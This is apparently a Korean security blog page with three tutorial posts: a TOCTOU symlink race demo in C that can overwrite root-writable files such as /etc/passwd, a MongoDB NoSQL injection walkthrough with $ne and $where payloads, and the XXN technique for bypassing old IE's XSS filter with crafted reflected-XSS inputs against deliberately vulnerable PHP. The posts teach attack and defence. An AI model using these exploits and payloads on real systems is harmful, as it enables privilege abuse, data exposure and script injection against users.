(https://wiki.kldp.org/HOWTO/html/Secure-Programs-HOWTO/avoid-race.html)

TOCTOU Race Condition

Race Condition을 통해 TOCTOU를 알아볼까합니다.
많은 예제가 이 부분에 대해 다루고 있죠.

준비물은 간단합니다. 공격자가

1. attack.c -> ./attack
 + perm: user

Attack.c

#include <stdio.h>

void main()
{

  system("rm ./tmp");
  symlink("./target/config","tmp");

}
2. vuln.c -> ./vuln
 + perm: root

#include <stdio.h>
#include <stdlib.h>

FILE *fp;
char str[]="life log.[system]";
int i=1;


void main()
{

while(i)
{
  fp = fopen("tmp","wb++");
  fwrite(str,1,sizeof(str),fp);
  printf("Write Tmp File :: %d\n",i);
  fclose(fp);
  sleep(1); //
  i+=1;
}
}
3. target/config  -> target file
 + perm: high level user
 + or /etc/passwd 등등

# example.. zz
Remote Security Mode: ON

# ./vuln
# ./attack
# cat target/config
life log.[system]


핵심원리는 간단합니다. 임시 파일이나 메모리값을 권한이 있는 소프트웨어가 확인하고 사용하는 찰나 Race Condition 등 공격자의 코드가 그 부분에 간섭하여 흐름을 바꾸는 것 입니다.

Reference

https://www.owasp.org/index.php/File_Access_Race_Condition:_TOCTOU
https://www.owasp.org/index.php/Race_Conditions
https://wiki.kldp.org/HOWTO/html/Secure-Programs-HOWTO/avoid-race.html
Share: | Coffee Me:

1/12/2016

[WEB HACKING] MongoDB Injection으로 알아보는 NoSQL Injection

웹 취약점 분석에서 나름 많은 부분을 차지하는 Injection. 그 중 DB 관련한 NoSQL Injection에 대한 이야기를 할까 합니다.  

기존 SQL Injection과 비슷하나, 나름 다른점도 있고 RDBMS 이외 NoSQL DB를 사용하는 서비스도 점점 많아져 알아두고 있어야 할 부분입니다.

NoSQL이란?

NoSQL은 RDBMS와 다르게 Not only SQL, Non-Relational Operational Database로 불리며 말 그대로 SQL로 이루어지지 않은 DB를 의미합니다.
Data Model이 단순하기 때문에 가용성과 확장성이 좋습니다.

대표적으로 MongoDB 같은 데이터베이스가 있지요.
(직접 사용해보지는 않았습니다만.. 주변에 공부하던 친구들이 있었다죠)

MongoDB Injection

모든 인젝션 기법이 그렇듯이 문제는 사용자 입력값에 대한 검증 부족에서 발생합니다. Web Request를 통해 넘어온 값에 Special Character에 대해 필터링 없이 DB에서 처리되어 문법의 흐름을 바꿔 공격자가 원하는 이득을 취하는것이 기본 구조입니다.



NoSQL Injection도 동일한 형태입니다. 다만 적용되는 대상만 다를뿐이지요.

아래와 같은 특수문자를 통해서 구문을 우회하여 공격에 성공할 수 있습니다.

' " \ ; { }

샘플코드를 구해서 해볼까 하다가 OWASP에 좋은 Example 코드가 있어 그걸로 해도 좋을 것 같습니다.

아래 보시면 아시겠지만 Javascript 내 흐름을 바꿔놓는 XSS와 유사한 형태를 가지는 것을 볼 수 있을겁니다. (대다수 공격이 그래요!)

OWASP예제 기반

db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } ); 
위와 같이 db 하단의 myCollection의 find 메소드를 통해 데이터를 찾는 구조를 가지고 있는 NoSQL 구문이 있습니다.

여기서 우리가 입력한 부분은 굵게 표기한 "0" 이 되겠지요.
공격자는 XSS나 SQL Injection에서 사용하는 기법과 유사하게 ;을 통해 한줄의 끝을 쓰고, 새로 구문을 작성하여 로직의 흐름을 바꿔놓을 수 있습니다.

아래 예제에서는 date에 Date 클래스로 할당받아 while을 돌며 계속 빙빙 도는 코드를 넘겨주게 됩니다.

Input : 0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000)
실제로 이 부분이 필터링 없이 넘어가게 되면 아래와 같이 우회된 구문이 완성되겠지요.

Output

function() { return obj.credits - obj.debits < 0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000); }
이런 형태로 쉽게 흐름의 변환이 가능합니다. 물론 db 데이터를 보고있는 상태에서 바로 확인이 가능하지만 blackbox test에서도 output이나 error 등을 보고 판단하여 차근차근 구문을 만들어 갈 수도 있습니다.

또 간단한 MongoDB 구문으로 테스트를 해볼까요?

간단한 취약 구문으로 테스트

db.noon.findMember()
라고 대충 이름을 지어봅니다. 실제로 구성해서 테스트해보시는게 좋습니다.
이 친구는 noon 하단에서 Member를 찾는 기능을 한다고 가정하고 아래와 같이 인자값을 줄 수 있습니다.

db.noon.findMember({ $or : [ { name : [INPUT1] } , { level : ($lte[INPUT2]) } ] } )
여기서 공격자는 테스트를 통해 대략적인 구문 형태를 추측합니다.
(항상 그렇듯이 노가다..)

우리가 공격구간으로 볼 수 있는 부분은 [INPUT1], [INPUT2] 정도가 있을 것 같습니다. [INPUT1] 에 공격을 수행한다고 하면 아래와 같이 흐름을 바꿀 수 있는 구문을 만들어야겠지요.
(물론 기본적으로 특수문자에 대한 필터링 여부를 확인을 해야합니다.)

Input : {$ne:HaHwul}
위와 같이 입력하면 $ne 연산자로 인해 name과 문자열 HaHwul이 같지 않으면 찾게되어 다수 데이터가 나타나게 됩니다.

db.noon.findMember({ $or : [ { name : {$ne:"HaHwul"}} , { level : ($lte[INPUT2]) } ] } )
사실 따지고 보면 SQL Injection이랑 별로 다를게 없습니다.
다만 공격이 수행되는 장소만 다를뿐이지요.

대체로 테스트에선 $ne 연산자 값이 상황을 뒤집을 수 있는 연산자가 많이 사용되니 로직을 파악하는 방법과 연산자에 집중하면 좋습니다.

어떻게 막아야 할 것인가?

상세한 대응방법은 플랫폼, 코드별로 조금씩 다를 수 있곘지만 대부분의 웹 공격의 대안처럼 사용자 입력값(Web Request)에 대한 철저한 필터링입니다.

위에서 대충 만든 예제로 보면

db.noon.findMember({ $or : [ { name : [INPUT1] } , { level : ($lte[INPUT2]) } ] } )
[INPUT1] , [INPUT2] 부분 모두 입력될 때 로직 자체를 우회 시킬 수 있는 특수문자 $, { } [ ] ( ) 등에 대해서 필터링 처리해야합니다.
꼭 필요하다면 db가 처리하지 않도록 변환해줘야합니다.

알아두면 좋은 MongoDB 연산자

$ne : 같지않음
$not : 복수의 데이터간 여집합을 반환
$exists : 특정키를 가지고 있는지 질의
$lt : <
$gt : >
$lte : <=
$gte : >=

Reference

https://www.owasp.org/index.php/Testing_for_NoSQL_injection
http://aroundck.tistory.com/949
Share: | Coffee Me:

1/08/2016

블로그 도메인 변경하였습니다.

기존 www.codeblack.net 에서 저를 더 표현하기 좋은 도메인으로 고민하던 끝에 www.hahwul.com으로 도메인을 변경하게 되었습니다.

각각 검색엔진에 반영하고 있는 중이니 , 불편하신 점 있으시면 댓글이나 메일 부탁드립니다.
좋은 하루되세요 : )

(Please note. My blog domain has changed.)
www.codeblack.net  ->  www.hahwul.com
Share: | Coffee Me:

1/07/2016

[WEB HACKING] XXN Attack(X-XSS-Nightmare) :: R-XSS Bypass Browser XSS Filter

작년 말 이 재미있는 XXN 공격에 대해 듣게되고 분석을 해보았었고 이제서야 글로 작성하게 되네요.

12월에 Masato Kinugawa가 공유한 기법입니다.
현재 CVE-2015-6144, CVE-2015-6176으로 CVE Number가 할당되어 있습니다.

MS에서도 작년 12월에 패치를 진행했었네요.




이 공격은 기존 Reflected XSS에 대한 대안으로 만들어진 각 브라우저 별 XSS 필터 기능에 대한 취약점을 다루는 내용입니다. 실제로 Reflected XSS에 대한 테스트 시 각 브라우저 별 XSS 필터, 공격사이트 차단 등의 기능을 끈 채로 수행하게 됩니다. 이러한 방법으로 찾아낸 XSS는 사용 시 대다수가 브라우저 필터링에 막혀 영향력이 높게 발생하지는 않습니다.
(물론 예외도 있겠지요.)

Browser XSS Filter의 원리

각각 브라우저사에서 사용하는 XSS 필터는 유사한 형태의 규칙을 가지고 있고 마사토씨는 이 필터링 규칙을 우회하여 Reflected XSS 공격을 성공하게 됩니다.

예시로 아래 프리젠테이션 이미지처럼 정규식으로 구성되어 있습니다. 이 부분을 만족하지 않도록 구문을 작성한다면, 필터링을 피해갈 수 있고 XXN 공격은 그 필터링 규칙을 피해가는 방법에 대한 내용으로 구성됩니다.

http://www.slideshare.net/masatokinugawa


테스트를 위한 간단한 XSS 취약 PHP 코드 작성하기


<?php

$var = $_GET['param'];
echo $var;

?>

<?php

$var = $_GET['param'];

echo "<script src='";echo $var;echo"'></script>";

?>


<style>
    body{background:black}
</style>
<body>
</body>

위와 같이 Reflected XSS를 유발할 수 있는 코드를 작성 후 테스트하시면서 문서 보시면 좋을 것 같네요.

in: http://127.0.0.1/xxn.php?param=1
out: 1

in: 127.0.0.1/xxn.php?param=<script>alert(45)</script>
out: <script>alert(45)</script>

XXN(X-XSS-Nightmare)


XXN의 기법은 브라우저 필터링을 우회하기 위해서 강제로 브라우저 필터링을 동작시키는데 의미가 있습니다.
자료에서 예시로 보여준 style 태그 XSS(IE 구버전 한정)는 브라우저가 style 태그를 이용한 공격구문임을 확인 시 #으로 치환하여 필터링 하는 과정에서 문제가 있었습니다.

아래 코드를 예시로 설명드리겠습니다.

<?php
 var param = $_GET['param'];
?>

<style>
 test{width:100px;}
</style>
<input value="<?php echo $var; ?>">

위와 같이 GET 요청으로 param 파라미터에 값을 넘겼을 시 input 태그 내 value 값으로 들어가게 되는 코드입니다.
일반적으로 Reflected XSS를 위해서 " onfocus=alert(45) autofocus" type=image src=asd onerror=alert(45) 등 구문을 넣어 XSS를 시도합니다. 대체로 브라우저 필터링 규칙에 의해서 위 구문들은 필터링 처리되어 나타납니다.

예시에서 보여준 데이터는 구 IE에서 가능했던 style 태그를 이용한 XSS이며 해당 공격요청을 파라미터로 넘기게 되면 아래와 같이 필터링되어 나타납니다.

in: 127.0.0.1/xxn.php?param=" style="x:expression(alert(45))
out:

<style>
 test{width:100px;}
</style>
<input value="" st#le="x:expression(alert(45))">

style 속성 부분에서 y가 #으로 필터링되어 영향력이 없어집니다.

공격자를 아래 규칙을 만족하기 위해서 여러번의 테스틀 거쳐 정규식을 통과합니다.
(자료에서 워낙 잘 나타내 주어서 자료 부분 보시는게 이해가 빠를 것 같슴니다)

http://www.slideshare.net/masatokinugawa


아래처럼 정규식을 만족시키는 구문을 만들어 강제로 필터링을 이끌어 냈습니다.


http://www.slideshare.net/masatokinugawa


in: 127.0.0.1/xxn.php?param=/style++++++=++=\
out:

<style>
 test{width:100px;}
</st#le>
<input value="">
재미있는건 필터링으로 인해서 앞에있던 style 태그에 영향을 끼쳤다는 것이지요.
그래서 style 태그의 끝이 사라지게 되고 아래 부분이 모두 CSS처럼 동작할 수 있게 됩니다.
Javascript 와 달리 Style은 구문에러와 무관하게 동작이 가능하기 때문에 공격자는 아래와 같은 패턴으로 공격구문을 삽입하게 됩니다.

in: 127.0.0.1/xxn.php?param=%0a{}*{x:expression(alert(45))}&/style++++++=++=\
out:

<style>
 test{width:100px;}
</st#le>
<input value="
{}*{x:expression(alert(45))}">
그러면 style 태그가 깨지면서 %0a로 개행한 expression 구문이 있는 스크립트가 동작하게 됩니다.
이러한 형태의 기법들로 여러가지 X-XSS-Nightmare 기법이 소개되었고 잘 활용할 수 있다면 Reflected XSS를 테스트함에 있어 더욱 강한 영량력을 나타낼 수 있을 것 같습니다.

일단 굉장히 재미있는 부분이였기 때문에 개인적으로도 좀 연구해볼까 합니다.
이런 흥미로운 주제를 공유해준 마사토(Masato Kinugawa) 님께 감사의 인사를 :)

SlideShared PPT File


Reference

http://mksben.l0.cm/2015/12/xxn.html
http://www.slideshare.net/masatokinugawa/xxn-en
Share: | Coffee Me: